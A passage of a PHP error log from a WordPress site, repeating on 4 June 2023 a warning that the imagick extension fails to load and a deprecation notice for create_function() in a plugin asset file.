deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 15:48:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 15:48:43 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 16:49:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 16:49:23 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 16:56:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 16:56:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 16:56:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 16:56:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 16:59:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 16:59:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 16:59:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 16:59:53 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 17:01:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 17:01:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 17:02:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 17:02:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 17:02:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 17:02:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 17:03:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 17:03:09 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 17:03:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 17:03:23 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 17:03:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 17:03:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 17:03:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 17:03:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 17:04:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 17:04:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 17:04:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 17:04:43 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 17:05:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 17:05:13 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 17:05:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 17:05:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 17:05:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 17:05:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 17:06:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 17:06:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 17:07:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 17:07:16 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 17:07:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 17:07:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 17:08:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 17:08:00 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 17:08:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 17:08:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 17:09:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 17:09:13 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 17:09:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 17:09:21 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 17:09:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 17:09:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 17:13:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 17:13:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 17:50:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 17:50:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 18:52:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 18:52:09 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 19:53:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 19:53:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 20:54:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 20:54:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 21:55:15 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 21:55:15 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 22:52:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 22:52:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 22:52:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 22:52:40 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 22:52:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 22:52:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 22:53:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 22:53:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 22:53:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 22:53:34 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 22:54:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 22:54:02 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 22:55:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 22:55:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 22:55:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 22:55:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 22:55:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 22:55:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 22:56:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 22:56:34 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 22:56:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 22:56:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 22:57:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 22:57:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 22:57:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 22:57:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 22:57:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 22:57:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 22:57:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 22:57:53 UTC] PHP Deprecated: Function create_function() is deprecated in 